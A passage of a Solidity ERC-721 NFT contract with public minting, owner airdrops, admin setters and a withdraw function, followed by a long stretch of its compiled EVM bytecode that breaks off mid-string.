_safeMint(0x9Cc5d37D2053dBa7e6255068d127C1Eaaad2199F, i); } } function mintFTB(uint256 mintBalance) public payable { require(msg.sender == tx.origin, "Should not mint through contracts"); require(_isSaleActive, "Sale is not active now"); require(totalSupply() + mintBalance <= MAX_SUPPLY, "exceed max supply"); require(mintBalance <= roundBalance, "exceed round balance"); require(mintBalance <= publicMintBalance, "No enough public mint quata"); require(mintBalance <= maxMint, "exceed max mint per time"); require(mintBalance * mintPrice <= msg.value, "Not enough ether"); roundBalance -= mintBalance; publicMintBalance -= mintBalance; _mintFTB(msg.sender, mintBalance); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString(), baseExtension)); } // internal Functions function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function _mintFTB(address to, uint256 mintBalance) internal { for (uint256 i = 0; i < mintBalance; i++) { uint256 mintIndex = totalSupply(); if (totalSupply() < MAX_SUPPLY) { _safeMint(to, mintIndex); } } } // onlyOwner Functions // Airdrop for Influencers and Events, limited 1 per time function airdropEvent(address to) public onlyOwner { require(totalSupply() + 1 <= MAX_SUPPLY, "Airdrop would exceed max supply"); require(eventBalance - 1 >= 0, "No more airdrop quota"); eventBalance -= 1; _mintFTB(to, 1); } // Airdrop for Early Pass and Dessert Shop function airdropEarlyPass(address to, uint256 airdropBalance) public onlyOwner { require(totalSupply() + airdropBalance <= MAX_SUPPLY, "Airdrop would exceed max supply"); require(earlyPassBalance - airdropBalance >= 0, "No more airdrop quota"); earlyPassBalance -= airdropBalance; _mintFTB(to, airdropBalance); } function flipSaleState() public onlyOwner { _isSaleActive = !_isSaleActive; } function setRoundBalance(uint256 _roundBalance) public onlyOwner { roundBalance = _roundBalance; } function setMintPrice(uint256 _mintPrice) public onlyOwner { mintPrice = _mintPrice; } function setMaxMint(uint256 _maxMint) public onlyOwner { maxMint = _maxMint; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function withdraw(address to) public onlyOwner { uint256 balance = address(this).balance; payable(to).transfer(balance); } }
0x6080604052600436106102305760003560e01c80636817c76c1161012e578063a22cb465116100ab578063e5408eae1161006f578063e5408eae1461081a578063e985e9c514610845578063f2fde38b14610882578063f4a0a528146108ab578063f9db27a0146108d457610230565b8063a22cb46514610737578063b88d4fde14610760578063c668286214610789578063c87b56dd146107b4578063da3ef23f146107f157610230565b80638da5cb5b116100f25780638da5cb5b14610673578063915536a41461069e57806395d89b41146106c7578063997897fb146106f25780639d49da8f1461071b57610230565b80636817c76c1461059e5780637080d6fc146105c957806370a08231146105f4578063715018a6146106315780637501f7411461064857610230565b80632f745c59116101bc5780634f6ccce7116101805780634f6ccce7146104a957806351cff8d9146104e6578063547520fe1461050f57806355f804b3146105385780636352211e1461056157610230565b80632f745c59146103d657806332cb6b0c1461041357806334918dfd1461043e5780633e9317da1461045557806342842e0e1461048057610230565b80630a59a66b116102035780630a59a66b1461030357806318160ddd1461032e57806323b872dd1461035957806329ff69e5146103825780632a0ee4d5146103ad57610230565b806301ffc9a71461023557806306fdde0314610272578063081812fc1461029d578063095ea7b3146102da575b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906133ec565b6108ff565b6040516102699190613a78565b60405180910390f35b34801561027e57600080fd5b50610287610979565b6040516102949190613a93565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf919061348f565b610a0b565b6040516102d19190613a11565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906133ac565b610a90565b005b34801561030f57600080fd5b50610318610ba8565b6040516103259190613e15565b60405180910390f35b34801561033a57600080fd5b50610343610bae565b6040516103509190613e15565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190613296565b610bbb565b005b34801561038e57600080fd5b50610397610c1b565b6040516103a49190613e15565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf9190613229565b610c21565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906133ac565b610d6f565b60405161040a9190613e15565b60405180910390f35b34801561041f57600080fd5b50610428610e14565b6040516104359190613e15565b60405180910390f35b34801561044a57600080fd5b50610453610e1a565b005b34801561046157600080fd5b5061046a610ec2565b6040516104779190613e15565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190613296565b610ec8565b005b3480156104b557600080fd5b506104d060048036038101906104cb919061348f565b610ee8565b6040516104dd9190613e15565b60405180910390f35b3480156104f257600080fd5b5061050d60048036038101906105089190613229565b610f59565b005b34801561051b57600080fd5b506105366004803603810190610531919061348f565b611025565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613446565b6110ab565b005b34801561056d57600080fd5b506105886004803603810190610583919061348f565b611141565b6040516105959190613a11565b60405180910390f35b3480156105aa57600080fd5b506105b36111f3565b6040516105c09190613e15565b60405180910390f35b3480156105d557600080fd5b506105de6111f9565b6040516105eb9190613a78565b60405180910390f35b34801561060057600080fd5b5061061b60048036038101906106169190613229565b61120c565b6040516106289190613e15565b60405180910390f35b34801561063d57600080fd5b506106466112c4565b005b34801561065457600080fd5b5061065d61134c565b60405161066a9190613e15565b60405180910390f35b34801561067f57600080fd5b50610688611352565b6040516106959190613a11565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061348f565b61137c565b005b3480156106d357600080fd5b506106dc611402565b6040516106e99190613a93565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906133ac565b611494565b005b6107356004803603810190610730919061348f565b6115df565b005b34801561074357600080fd5b5061075e6004803603810190610759919061336c565b611851565b005b34801561076c57600080fd5b50610787600480360381019061078291906132e9565b611867565b005b34801561079557600080fd5b5061079e6118c9565b6040516107ab9190613a93565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d6919061348f565b611957565b6040516107e89190613a93565b60405180910390f35b3480156107fd57600080fd5b5061081860048036038101906108139190613446565b611acd565b005b34801561082657600080fd5b5061082f611b63565b60405161083c9190613e15565b60405180910390f35b34801561085157600080fd5b5061086c60048036038101906108679190613256565b611b68565b6040516108799190613a78565b60405180910390f35b34801561088e57600080fd5b506108a960048036038101906108a49190613229565b611bfc565b005b3480156108b757600080fd5b506108d260048036038101906108cd919061348f565b611cf4565b005b3480156108e057600080fd5b506108e9611d7a565b6040516108f69190613e15565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610972575061097182611da8565b5b9050919050565b606060008054610988906140da565b80601f01602080910402602001604051908101604052809291908181526020018280546109b4906140da565b8015610a015780601f106109d657610100808354040283529160200191610a01565b820191906000526020600020905b8154815290600101906020018083116109e457829003601f168201915b5050505050905090565b6000610a1682611e8a565b610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90613cd5565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a9b82611141565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0390613d35565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b2b611ef6565b73ffffffffffffffffffffffffffffffffffffffff161480610b5a5750610b5981610b54611ef6565b611b68565b5b610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090613c15565b60405180910390fd5b610ba38383611efe565b505050565b600d5481565b6000600880549050905090565b610bcc610bc6611ef6565b82611fb7565b610c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0290613d75565b60405180910390fd5b610c16838383612095565b505050565b600b5481565b610c29611ef6565b73ffffffffffffffffffffffffffffffffffffffff16610c47611352565b73ffffffffffffffffffffffffffffffffffffffff1614610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9490613cf5565b60405180910390fd5b61040f6001610caa610bae565b610cb49190613f0f565b1115610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90613ab5565b60405180910390fd5b60006001600c54610d069190613ff0565b1015610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e90613c75565b60405180910390fd5b6001600c6000828254610d5a9190613ff0565b92505081905550610d6c8160016122fc565b50565b6000610d7a8361120c565b8210610dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db290613af5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61040f81565b610e22611ef6565b73ffffffffffffffffffffffffffffffffffffffff16610e40611352565b73ffffffffffffffffffffffffffffffffffffffff1614610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90613cf5565b60405180910390fd5b600a60149054906101000a900460ff1615600a60146101000a81548160ff021916908315150217905550565b600f5481565b610ee383838360405180602001604052806000815250611867565b505050565b6000610ef2610bae565b8210610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90613d95565b60405180910390fd5b60088281548110610f4757610f46614273565b5b90600052602060002001549050919050565b610f61611ef6565b73ffffffffffffffffffffffffffffffffffffffff16610f7f611352565b73ffffffffffffffffffffffffffffffffffffffff1614610fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcc90613cf5565b60405180910390fd5b60004790508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611020573d6000803e3d6000fd5b505050565b61102d611ef6565b73ffffffffffffffffffffffffffffffffffffffff1661104b611352565b73ffffffffffffffffffffffffffffffffffffffff16146110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890613cf5565b60405180910390fd5b8060108190555050565b6110b3611ef6565b73ffffffffffffffffffffffffffffffffffffffff166110d1611352565b73ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90613cf5565b60405180910390fd5b806011908051906020019061113d92919061303d565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e190613c55565b60405180910390fd5b80915050919050565b600e5481565b600a60149054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127490613c35565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112cc611ef6565b73ffffffffffffffffffffffffffffffffffffffff166112ea611352565b73ffffffffffffffffffffffffffffffffffffffff1614611340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133790613cf5565b60405180910390fd5b61134a6000612348565b565b60105481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611384611ef6565b73ffffffffffffffffffffffffffffffffffffffff166113a2611352565b73ffffffffffffffffffffffffffffffffffffffff16146113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef90613cf5565b60405180910390fd5b80600f8190555050565b606060018054611411906140da565b80601f016020809104026020016040519081016040528092919081815260200182805461143d906140da565b801561148a5780601f1061145f5761010080835404028352916020019161148a565b820191906000526020600020905b81548152906001019060200180831161146d57829003601f168201915b5050505050905090565b61149c611ef6565b73ffffffffffffffffffffffffffffffffffffffff166114ba611352565b73ffffffffffffffffffffffffffffffffffffffff1614611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790613cf5565b60405180910390fd5b61040f8161151c610bae565b6115269190613f0f565b1115611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90613ab5565b60405180910390fd5b600081600b546115779190613ff0565b10156115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90613c75565b60405180910390fd5b80600b60008282546115ca9190613ff0565b925050819055506115db82826122fc565b5050565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164490613dd5565b60405180910390fd5b600a60149054906101000a900460ff1661169c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169390613db5565b60405180910390fd5b61040f816116a8610bae565b6116b29190613f0f565b11156116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613b95565b60405180910390fd5b600f54811115611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90613c95565b60405180910390fd5b600d5481111561177d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177490613d55565b60405180910390fd5b6010548111156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b990613df5565b60405180910390fd5b34600e54826117d19190613f96565b1115611812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180990613ad5565b60405180910390fd5b80600f60008282546118249190613ff0565b9250508190555080600d600082825461183d9190613ff0565b9250508190555061184e33826122fc565b50565b61186361185c611ef6565b838361240e565b5050565b611878611872611ef6565b83611fb7565b6118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ae90613d75565b60405180910390fd5b6118c38484848461257b565b50505050565b601280546118d6906140da565b80601f0160208091040260200160405190810160405280929190818152602001828054611902906140da565b801561194f5780601f106119245761010080835404028352916020019161194f565b820191906000526020600020905b81548152906001019060200180831161193257829003601f168201915b505050505081565b606061196282611e8a565b6119a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199890613d15565b60405180910390fd5b60006013600084815260200190815260200160002080546119c1906140da565b80601f01602080910402602001604051908101604052809291908181526020018280546119ed906140da565b8015611a3a5780601f10611a0f57610100808354040283529160200191611a3a565b820191906000526020600020905b815481529060010190602001808311611a1d57829003601f168201915b505050505090506000611a4b6125d7565b9050600081511415611a61578192505050611ac8565b600082511115611a96578082604051602001611a7e9291906139bc565b60405160208183030381529060405292505050611ac8565b80611aa085612669565b6012604051602001611ab4939291906139e0565b604051602081830303815290604052925050505b919050565b611ad5611ef6565b73ffffffffffffffffffffffffffffffffffffffff16611af3611352565b73ffffffffffffffffffffffffffffffffffffffff1614611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4090613cf5565b60405180910390fd5b8060129080519060200190611b5f92919061303d565b5050565b600981565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611c04611ef6565b73ffffffffffffffffffffffffffffffffffffffff16611c22611352565b73ffffffffffffffffffffffffffffffffffffffff1614611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f90613cf5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf90613b35565b60405180910390fd5b611cf181612348565b50565b611cfc611ef6565b73ffffffffffffffffffffffffffffffffffffffff16611d1a611352565b73ffffffffffffffffffffffffffffffffffffffff1614611d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6790613cf5565b60405180910390fd5b80600e8190555050565b600c5481565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b505050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611e7357507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611e835750611e82826127ca565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611f7183611141565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611fc282611e8a565b612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890613bf5565b60405180910390fd5b600061200c83611141565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061207b57508373ffffffffffffffffffffffffffffffffffffffff1661206384610a0b565b73ffffffffffffffffffffffffffffffffffffffff16145b8061208c575061208b8185611b68565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166120b582611141565b73ffffffffffffffffffffffffffffffffffffffff161461210b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210290613b55565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561217b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217290613bb5565b60405180910390fd5b612186838383612834565b612191600082611efe565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121e19190613ff0565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122389190613f0f565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122f7838383612948565b505050565b60005b81811015612343576000612311610bae565b905061040f61231e610bae565b101561232f5761232e848261294d565b5b50808061233b9061413d565b9150506122ff565b505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561247d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247490613bd5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161256e9190613a78565b60405180910390a3505050565b612586848484612095565b6125928484848461296b565b6125d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c890613b15565b60405180910390fd5b50505050565b6060601180546125e6906140da565b80601f0160208091040260200160405190810160405280929190818152602001828054612612906140da565b801561265f5780601f106126345761010080835404028352916020019161265f565b820191906000526020600020905b81548152906001019060200180831161264257829003601f168201915b5050505050905090565b606060008214156126b1576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506127c5565b600082905060005b600082146126e35780806126cc9061413d565b915050600a826126dc9190613f65565b91506126b9565b60008167ffffffffffffffff8111156126ff576126fe6142a2565b5b6040519080825280601f01601f1916602001820160405280156127315781602001600182028036833780820191505090505b5090505b600085146127be5760018261274a9190613ff0565b9150600a856127599190614186565b60306127659190613f0f565b60f81b81838151811061277b5761277a614273565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127b79190613f65565b9450612735565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b61283f838383611da3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128825761287d81612b02565b6128c1565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146128c0576128bf8382612b4b565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612904576128ff81612cb8565b612943565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612942576129418282612d89565b5b5b505050565b505050565b612967828260405180602001604052806000815250612e08565b5050565b600061298c8473ffffffffffffffffffffffffffffffffffffffff16611d80565b15612af5578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026129b5611ef6565b8786866040518563ffffffff1660e01b81526004016129d79493929190613a2c565b602060405180830381600087803b1580156129f157600080fd5b505af1925050508015612a2257506040513d601f19601f82011682018060405250810190612a1f9190613419565b60015b612aa5573d8060008114612a52576040519150601f19603f3d011682016040523d82523d6000602084013e612a57565b606091505b50600081511415612a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9490613b15565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612afa565b600190505b949350505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612b588461120c565b612b629190613ff0565b9050600060076000848152602001908152602001600020549050818114612c47576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612ccc9190613ff0565b9050600060096000848152602001908152602001600020549050600060088381548110612cfc57612cfb614273565b5b906000526020600020015490508060088381548110612d1e57612d1d614273565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612d6d57612d6c614244565b5b6001900381819060005260206000200160009055905550505050565b6000612d948361120c565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b612e128383612e63565b612e1f600084848461296b565b612e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5590613b15565b60405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eca90613cb5565b60405180910390fd5b612edc81611e8a565b15612f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1390613b75565b60405180910390fd5b612f2860008383612834565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f789190613f0f565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461303960008383612948565b5050565b828054613049906140da565b90600052602060002090601f01602090048101928261306b57600085556130b2565b82601f1061308457805160ff19168380011785556130b2565b828001600101855582156130b2579182015b828111156130b1578251825591602001919060010190613096565b5b5090506130bf91906130c3565b5090565b5b808211156130dc5760008160009055506001016130c4565b5090565b60006130f36130ee84613e55565b613e30565b90508281526020810184848401111561310f5761310e6142d6565b5b61311a848285614098565b509392505050565b600061313561313084613e86565b613e30565b905082815260208101848484011115613151576131506142d6565b5b61315c848285614098565b509392505050565b60008135905061317381614983565b92915050565b6000813590506131888161499a565b92915050565b60008135905061319d816149b1565b92915050565b6000815190506131b2816149b1565b92915050565b600082601f8301126131cd576131cc6142d1565b5b81356131dd8482602086016130e0565b91505092915050565b600082601f8301126131fb576131fa6142d1565b5b813561320b848260208601613122565b91505092915050565b600081359050613223816149c8565b92915050565b60006020828403121561323f5761323e6142e0565b5b600061324d84828501613164565b91505092915050565b6000806040838503121561326d5761326c6142e0565b5b600061327b85828601613164565b925050602061328c85828601613164565b9150509250929050565b6000806000606084860312156132af576132ae6142e0565b5b60006132bd86828701613164565b93505060206132ce86828701613164565b92505060406132df86828701613214565b9150509250925092565b60008060008060808587031215613303576133026142e0565b5b600061331187828801613164565b945050602061332287828801613164565b935050604061333387828801613214565b925050606085013567ffffffffffffffff811115613354576133536142db565b5b613360878288016131b8565b91505092959194509250565b60008060408385031215613383576133826142e0565b5b600061339185828601613164565b92505060206133a285828601613179565b9150509250929050565b600080604083850312156133c3576133c26142e0565b5b60006133d185828601613164565b92505060206133e285828601613214565b9150509250929050565b600060208284031215613402576134016142e0565b5b60006134108482850161318e565b91505092915050565b60006020828403121561342f5761342e6142e0565b5b600061343d848285016131a3565b91505092915050565b60006020828403121561345c5761345b6142e0565b5b600082013567ffffffffffffffff81111561347a576134796142db565b5b613486848285016131e6565b91505092915050565b6000602082840312156134a5576134a46142e0565b5b60006134b384828501613214565b91505092915050565b6134c581614024565b82525050565b6134d481614036565b82525050565b60006134e582613ecc565b6134ef8185613ee2565b93506134ff8185602086016140a7565b613508816142e5565b840191505092915050565b600061351e82613ed7565b6135288185613ef3565b93506135388185602086016140a7565b613541816142e5565b840191505092915050565b600061355782613ed7565b6135618185613f04565b93506135718185602086016140a7565b80840191505092915050565b6000815461358a816140da565b6135948186613f04565b945060018216600081146135af57600181146135c0576135f3565b60ff198316865281860193506135f3565b6135c985613eb7565b60005b838110156135eb578154818901526001820191506020810190506135cc565b838801955050505b50505092915050565b6000613609601f83613ef3565b9150613614826142f6565b602082019050919050565b600061362c601083613ef3565b91506136378261431f565b602082019050919050565b600061364f602b83613ef3565b915061365a82614348565b604082019050919050565b6000613672603283613ef3565b915061367d82614397565b604082019050919050565b6000613695602683613ef3565b91506136a0826143e6565b604082019050919050565b60006136b8602583613ef3565b91506136c382614435565b604082019050919050565b60006136db601c83613ef3565b91506136e682614484565b602082019050919050565b60006136fe601183613ef3565b9150613709826144ad565b602082019050919050565b6000613721602483613ef3565b915061372c826144d6565b604082019050919050565b6000613744601983613ef3565b915061374f82614525565b602082019050919050565b6000613767602c83613ef3565b91506137728261454e565b604082019050919050565b600061378a603883613ef3565b91506137958261459d565b604082019050919050565b60006137ad602a83613ef3565b91506137b8826145ec565b604082019050919050565b60006137d0602983613ef3565b91506137db8261463b565b604082019050919050565b60006137f3601583613ef3565b91506137fe8261468a565b602082019050919050565b6000613816601483613ef3565b9150613821826146b3565b602082019050919050565b6000613839602083613ef3565b9150613844826146dc565b602082019050919050565b600061385c602c83613ef3565b915061386782614705565b604082019050919050565b600061387f602083613ef3565b915061388a82614754565b602082019050919050565b60006138a2602f83613ef3565b91506138ad8261477d565b604082019050919050565b60006138c5602183613ef3565b91506138d0826147cc565b604082019050919050565b60006138e8601b83613ef3565b91506138f38261481b565b602082019050919050565b600061390b603183613ef3565b915061391682614844565b604082019050919050565b600061392e602c83613ef3565b915061393982614893565b604082019050919050565b6000613951601683613ef3565b915061395c826148e2565b602082019050919050565b6000613974602183613ef3565b915061397f8261490b565b604082019050919050565b6000613997601883613ef3565b91506139a28261495a565b602082019050919050565b6139b68161408e565b82525050565b60006139c8828561354c565b91506139d4828461354c565b91508190509392505050565b60006139ec828661354c565b91506139f8828561354c565b9150613a04828461357d565b9150819050949350505050565b6000602082019050613a2660008301846134bc565b92915050565b6000608082019050613a4160008301876134bc565b613a4e60208301866134bc565b613a5b60408301856139ad565b8181036060830152613a6d81846134da565b905095945050505050565b6000602082019050613a8d60008301846134cb565b92915050565b60006020820190508181036000830152613aad8184613513565b905092915050565b60006020820190508181036000830152613ace816135fc565b9050919050565b60006020820190508181036000830152613aee8161361f565b9050919050565b60006020820190508181036000830152613b0e81613642565b9050919050565b60006020820190508181036000830152613b2e81613665565b9050919050565b60006020820190508181036000830152613b4e81613688565b9050919050565b60006020820190508181036000830152613b6e816136ab565b9050919050565b60006020820190508181036000830152613b8e816136ce565b9050919050565b60006020820190508181036000830152613bae816136f1565b9050919050565b60006020820190508181036000830152613bce81613714565b9050919050565b60006020820190508181036000830152613bee81613737565b9050919050565b60006020820190508181036000830152613c0e8161375a565b9050919050565b60006020820190508181036000830152613c2e8161377d565b9050919050565b60006020820190508181036000830152613c4e816137a0565b9050919050565b60006020820190508181036000830152613c6e816137c